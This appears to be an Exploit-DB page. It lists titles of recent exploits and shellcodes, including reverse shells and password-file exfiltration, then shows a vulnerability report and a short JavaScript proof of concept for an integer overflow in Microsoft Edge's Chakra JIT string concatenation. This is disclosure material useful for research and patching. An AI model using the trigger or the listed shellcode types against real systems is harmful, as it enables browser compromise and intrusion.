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28 changes to exploits/shellcodes Multiple CPUs - Information Leak Using Speculative Execution Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check Jungo Windriver 12.5.1 - Privilege Escalation DiskBoss Enterprise 8.8.16 - Buffer Overflow HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit) HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit) Synology Photostation 6.7.2-3429 - Remote Code Execution (Metasploit) Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure Muviko 1.1 - SQL Injection WordPress Plugin Events Calendar - 'event_id' SQL Injection WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes) BSD/x86 - setuid(0) + Bind TCP Shell (31337/TCP) Shellcode (94 bytes) BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes) FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Alpha - /bin/sh Shellcode (80 bytes) Alpha - execve() Shellcode (112 bytes) Alpha - setuid() Shellcode (156 bytes) BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)
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818 B
JavaScript
28 lines
No EOL
818 B
JavaScript
/*
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The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
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Here's a snippet of the method.
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void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
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{
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...
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IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
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...
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InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
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...
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}
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At (a), there's no check for integer overflow.
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Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.
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PoC:
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*/
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let a = '';
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let b = 'A'.repeat(0x10000);
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for (let i = 0; i < 0x10000; i++) {
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a = 'BBBBBBBBB' + a + b;
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}
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print(a.length);
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print(b.length);
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print(a[0]); |